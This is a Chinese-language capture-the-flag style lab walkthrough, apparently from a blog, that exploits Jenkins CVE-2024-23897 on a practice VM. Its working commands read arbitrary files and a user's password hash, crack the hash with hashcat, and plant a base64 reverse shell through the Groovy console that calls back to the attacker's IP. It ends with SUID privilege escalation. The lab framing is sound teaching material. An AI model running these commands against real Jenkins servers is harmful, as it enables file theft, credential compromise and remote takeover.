Jenkins 任意文件读取(CVE-2024-23897)+后台用户密码提取哈希破解+反弹Shell 一条龙

一、前言

本文将深入研究一项涉及Jenkins的安全漏洞（CVE-2024–23897），将在实验室中介绍这些概念，这些技能对于渗透测试期间有效管理输出至关重要，而在本次漏洞利用中，更显得尤为关键。

本文还涉及Jenkins凭证管理，针对Jenkins部署，指导参与者如何查找存储的用户和密码信息。更加刺激的是，我们将引导参与者使用Hashcat破解这些凭据，进一步揭露其中的安全挑战。

实验的一大亮点是反向Shell测试，要求学员使用Jenkins内置的Groovy脚本控制台建立反向Shell。通过一个非常典型的试错过程，参与者将亲身体验实现远程命令执行的刺激和挑战。

最后，我们将探讨权限升级，一旦shell访问得到保护，参与者将识别并利用设置了SUID位的二进制文件进行权限升级。

二、 Jenkins (CVE-2024–23897) 靶机主题

此次靶场攻击主题内容：

• 了解 CI / CD：参与者将从基础知识开始，了解 Jenkins 是什么及其通过持续集成/持续部署 (CI/CD)（Security+
  认证的基本概念）实现软件开发自动化方面的作用。 文件描述符：实验室介绍了文件描述符，重点关注 STDOUT 和
  STDERR，教参与者如何操作这些流。这些知识对于有效管理渗透测试期间的输出至关重要。
• 输出抑制和重定向：以文件描述符为基础，参与者将练习根据所涉及的文件描述符抑制和重定向输出，这是任何有抱负的渗透测试人员工具包中的一项重要技能。
• Jenkins 凭证：该活动针对 Jenkins 部署，指导参与者如何查找存储的用户和密码信息。 使用 Hashcat
  破解密码：参与者提取凭据并使用 Hashcat 破解它们。
• 反向Shell测试：本实验的一大亮点，本部分要求学员使用Jenkins内置的Groovy脚本控制台建立反向Shell，通过一个非常典型的试错过程来实现远程命令执行。
• 权限升级：一旦 shell 访问得到保护，参与者将识别并利用设置了 SUID 位的二进制文件来进行权限升级，了解 SUID
  位的重要性及其在类 Unix 操作系统中的作用。

三、靶机配置

下载靶机：
https://drive.google.com/file/d/1YD7fyJIjPCV3FtUfnK7UbxlMnUdrvA6X/view

下载后给靶机生成一个MAC地址：

00:50:56:3D:BD:9B
1

配置之后开机，你是没有密码进行登陆的所以这个不理它

我们给靶机生成过了MAC，这个需要进行定义MAC，必须也要在一个局域网里！要不然找不到

sudo arp-scan --localnet | grep 00:50:56
1

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sC -sV 192.168.207.132
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-04 11:15 CST
Nmap scan report for 192.168.207.132
Host is up (0.00082s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

我们需要从靶机系统下载一个Jenkins客户端，这个客户端后面用于利用，先创建一个文件夹

然后执行wget把jenkins-cli.jar提取到文件里面，如果出现错误多尝试几次，把它提取出来！

┌──(kali㉿kali)-[~/jenkins-exploit]
└─$ wget http://192.168.207.132:8080/jnlpJars/jenkins-cli.jar 
--2024-03-04 11:36:00--  http://192.168.207.132:8080/jnlpJars/jenkins-cli.jar
正在连接 192.168.207.132:8080... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：3623400 (3.5M) [application/java-archive]
正在保存至: “jenkins-cli.jar”

jenkins-cli.jar                 100%[====================================================>]   3.46M  --.-KB/s  用时 0.05s   

2024-03-04 11:36:00 (67.7 MB/s) - 已保存 “jenkins-cli.jar” [3623400/3623400])

1
2
3
4
5
6
7
8
9
10
11
12

四、本地文件读取漏洞

使用CLI命令测试查询在服务器上是否启用了匿名读取权限，注意IP地址需要换成你自己的！

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help '@/etc/pass
1

通过Jenkins客户端的help形式成功向我们展示了/etc/passwd/文件的第一行。
值得我们注意的是。此漏洞的一个关键方面是，不同的命令可以读取文件中不同数量的行数，在help情况下只返回一行。

获取可用命令的完整列表：

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help
1

在本实验的下一部分中，我们将编写一个脚本来测试这些命令中的每一个，以查看可以读取/etc/passwd中的行数。本节是shell脚本编写中一个有趣的实用练习。首先,只需将 help 命令的输出重定向到名为 output.txt 的文件即可。

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help > output.txt
1

┌──(root㉿kali)-[/home/kali/jenkins-exploit]
└─# ls                              
jenkins-cli.jar  output.txt
                                                                                                                       
┌──(root㉿kali)-[/home/kali/jenkins-exploit]
└─# cat output.txt                  
                                             
1
2
3
4
5
6
7

output.txt 是一个空的文件夹

这是因为此处的 help 命令的输出是打印到 STDERR 而不是 STDOUT。
在 Linux 系统上:

• STDOUT与文件描述符1相关联
• STDERR与文件描述符2相关联

当我们使用>字符将输出重定向到文件时，默认情况下它会将打印的信息重定向到STDOUT或文件描述符1。

• 帮助输出将改为发送到STDERR，我们可以将STDERR（文件描述符2）输出重定到这样的文件。

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help 2> output.txt
1

TXT文本包含了当前的两条信息

• 我们可以运行的命令
• 此命令的说明

所以下面要编写一个脚本来枚举每个可用命令来测试它将从/etc/passwd文件返回的行数，我们需要执行以下操作

• 删除包含说明的每一行
• 保留包含我们要测试的实际命令的每一行

如果打开output.txt 你会发现每个命令从行首开始2个空格，而描述始终从行首开发4个空格。
创建一个output2.txt的文本，直接将下面的命令给丢进去

add-job-to-view
build
cancel-quiet-down
clear-queue
connect-node
console
copy-job
create-credentials-by-xml
create-credentials-domain-by-xml
create-job
create-node
create-view
declarative-linter
delete-builds
delete-credentials
delete-credentials-domain
delete-job
delete-node
delete-view
disable-job
disable-plugin
disconnect-node
enable-job
enable-plugin
get-credentials-as-xml
get-credentials-domain-as-xml
get-gradle
get-job
get-node
get-view
groovy
groovysh
help
import-credentials-as-xml
install-plugin
keep-build
list-changes
list-credentials
list-credentials-as-xml
list-credentials-context-resolvers
list-credentials-providers
list-jobs
list-plugins
mail
offline-node
online-node
quiet-down
reload-configuration
reload-job
remove-job-from-view
replay-pipeline
restart
restart-from-stage
safe-restart
safe-shutdown
session-id
set-build-description
set-build-display-name
shutdown
stop-builds
update-credentials-by-xml
update-credentials-domain-by-xml
update-job
update-node
update-view
version
wait-node-offline
wait-node-online
who-am-i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

下面创建一个Bash 脚本，用于生成一个名为 enum.sh 的脚本文件。该脚本的作用是循环读取 output2.txt 文件中的每一行（假设这些行是 Jenkins CLI 命令），然后为每个命令生成一个输出。

让我们来解释这个命令的各个部分：

1. cat output2.txt: 读取 output2.txt 文件的内容。
2. while read cmd; do: 使用 while 循环逐行读取 output2.txt 中的内容，并将每一行赋值给变量 cmd。
3. echo "echo -n \"$cmd: \"; java -jar jenkins-cli.jar -s http://192.168.207.132:8080 $cmd @'/etc/passwd' 2>&1 | wc -l": 为每个命令生成一个字符串，其中包含了用于执行 Jenkins CLI 命令的语法。这个字符串包含了命令本身以及将输出重定向到 /etc/passwd 文件，并通过 wc -l 命令统计行数。
4. done: 结束循环。
5. > enum.sh: 将循环生成的字符串输出到名为 enum.sh 的文件中，覆盖现有的文件内容（如果文件已存在）。

所以，enum.sh 文件中的内容将包含一系列的命令，每个命令都以其原始命令为前缀，并在其后执行 Jenkins CLI 命令，并输出到 /etc/passwd 文件。

cat output2.txt | while read cmd; do echo "echo -n \"$cmd: \"; java -jar jenkins-cli.jar -s http://192.168.207.132:8080 $cmd @'/etc/passwd' 2>&1 | wc -l"; done > enum.sh
1

cat enum.sh
1

创建完enum.sh看看里面有没有内容，IP是不是准确的，以防后面出问题，运行脚本前给个权限。

chmod 777 enum.sh 
./enum.sh
1
2

脚本似乎按预期运行了。它执行了每个 Jenkins CLI 命令，并将输出重定向到 /etc/passwd 文件，然后通过 wc -l 统计了输出的行数。

每一行的格式是 <命令>: <行数>。行数表示执行该 Jenkins CLI 命令后输出的行数。

请注意，对于一些敏感的操作，例如 delete-job、delete-node、delete-view、offline-node 和 online-node，输出行数较多。这是因为这些操作可能会对 Jenkins 环境产生重大影响，输出包含了相关的信息。

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/etc/passwd'
1

五 、枚举Jenkins用户、提取密码哈希值（破解）

Jenkins 安装将有一个文件，其中列出了此处的所有有效用户。

• /var/jenkins_home/users/users.xml

使用 connect-node 命令读取此文件，如下所示

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/var/jenkins_home/users/users.xml'
1

users.xml显示系统上的单个用户，kyle_reese，其文件夹为 /var/jenkins_home/users/kylereese_12022439290147957862

在 Jenkins 上的每个用户文件夹中，始终有一个包含用户密码哈希的config.xml文件。读取文件夹中的config.xml kylereese_12022439290147957862：

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/var/jenkins_home/users/kylereese_12022439290147957862/config.xml'
1

复制找到的密码哈希并将其粘贴到 Kali 上名为 hashes.txt 的文件中。

pico hashes.txt
1

然后把哈希写进去

$2a$10$GqneLZhOq6hRpCXeXF07tuAN..Q8GKDv5zad/HfcpNpL8GJUNNdDO
1

1.按下 Ctrl + O：这将会触发保存文件的操作。
2.按下 Enter：确认文件名。
3.按下 Ctrl + X：这将会退出 pico 编辑器。

接下来，我们将执行以下操作来破解此哈希值并确定实际密码是什么：

1. cp /usr/share/wordlists/rockyou.txt.gz：复制（cp）RockYou密码字典的压缩文件 rockyou.txt.gz 到当前目录（或者需要指定的目标目录）。

2. gunzip rockyou.txt.gz：解压缩 rockyou.txt.gz 文件，将其还原为 rockyou.txt 文件。这一步是因为 RockYou 字典通常以 gzip 压缩的形式提供，所以需要使用 gunzip 命令进行解压缩。

3. hashcat hashes.txt rockyou.txt：使用 Hashcat 工具，对名为 hashes.txt 的哈希文件进行破解，使用 rockyou.txt 字典进行密码破解攻击。这假设 hashes.txt 包含已经获取的密码哈希，而 rockyou.txt 包含可能的密码列表。

cp /usr/share/wordlists/rockyou.txt.gz .

gunzip rockyou.txt.gz

hashcat hashes.txt rockyou.txt
1
2
3
4
5

注意看截图的第一条命令，复制命令还有一个符号，没有的话会提示缺少目标文件，下面使用3200模式来破解

hashcat -m 3200 hashes.txt rockyou.txt
1

过程需要等待，因为是虚拟机给配置不高，所以等它跑完


获得密码后，您将能够使用以下命令登录 Jenkins Web 界面：

• 账号：kyle_reese
• 密码：mastermind

六、后台命令执行 反弹Shell

Jenkins 脚本控制台在官方用户手册中可以看到可以进行命令执行

println "cat /etc/passwd".execute().text
1

（1）反弹shell

• 将反向 shell 代码放入脚本文件中。
• 强制 Jenkins 服务器使用 curl 之类的东西下载这个脚本
• 强制 Jenkins 服务器在本地执行
  从这里直接生成Shell https://www.revshells.com/访问不了可以访问这个https://www.ddosi.org/shell/
  

echo -n '/bin/sh -i >& /dev/tcp/192.168.207.128/9001 0>&1' | base64 -d | /bin/bash

base一下

echo -n 'L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNy4xMjgvOTAwMSAwPiYx' | base64 -d | /bin/bash
1
2
3
4
5

在 Kali 上创建一个名为 exploit.sh 的文件，并将 base64 编码的反向 shell 代码复制到其中。

pico exploit.sh
1

1.按下 Ctrl + O：这将会触发保存文件的操作。
2.按下 Enter：确认文件名。
3.按下 Ctrl + X：这将会退出 pico 编辑器。

然后在目录下起个python服务

使用 curl 命令将此文件提取到 Jenkins 服务器 /tmp 目录。

println "curl http://192.168.207.128:8000/exploit.sh -o /tmp/exploit.sh".execute().text
1

您应该在python服务中的日志输出中看到 Web 服务器收到了状态代码为 200 的点击。
然后给Shell权限，确保文件在目标服务器上可执行：

println "chmod 777 /tmp/exploit.sh".execute().text
1

Kali NC开起来

直接运行Shell，NC传回反应

println "/bin/bash /tmp/exploit.sh".execute().text
1

但是无权限读取文件，那么就需要进行权限提升！

（2）权限提升

find / -perm -4000
1

find / -perm -4000 2>/dev/null
1

ssh-agent /bin/bash -p
1

七、结束语

在本文中，我们深入探讨了Jenkins的一个安全漏洞（CVE-2024–23897），通过实际的实验室操作，带你一步步了解渗透测试的关键技术和步骤。从文件描述符和输出管理到Jenkins凭证的挖掘，再到密码破解和反向Shell建立，最后到权限提升，每个环节都涉及了渗透测试中的重要方面。目前此文还有更多的技术面和难题是不容易摸清的，我还是需要有空的时候重温一下。